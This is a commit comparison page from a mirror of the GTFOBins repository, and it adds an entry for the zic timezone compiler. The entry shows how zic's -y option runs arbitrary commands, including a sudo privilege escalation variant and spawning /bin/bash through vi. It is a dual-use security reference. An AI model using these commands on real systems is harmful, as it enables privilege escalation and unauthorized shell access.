1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-28 01:56:02 +02:00

Compare commits

...

3 Commits

Author SHA1 Message Date
Tizian Seehaus caddab9e3f
Merge 5d721ea9af into 4eca50ea16 2023-12-23 14:50:21 +01:00
tibotix 5d721ea9af
Add Shell to zic.md 2023-07-20 17:01:04 +02:00
tibotix 9d438a06d9
Add zic command execution 2023-07-20 15:18:44 +02:00

22
_gtfobins/zic.md Normal file
View File

@ -0,0 +1,22 @@
---
functions:
command:
- description: |
This executes system(''id' 0 'arg2''), and system(''id' 1 'arg2'').
You can also pass negative numbers, so the resulting command would look like system(''id' -1 'arg2'').
- code: |
echo "Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -" > zicfile
echo "Zone Test 2:00 Jordan CE%sT" >> zicfile
zic -d . -y "id" ./zicfile
sudo:
- code: |
echo "Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -" > zicfile
echo "Zone Test 2:00 Jordan CE%sT" >> zicfile
zic -d . -y "id" ./zicfile
shell:
- code: |
echo "Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -" > zicfile
echo "Zone Test 2:00 Jordan CE%sT" >> zicfile
zic -d . -y "vi" ./zicfile
:!/bin/bash
---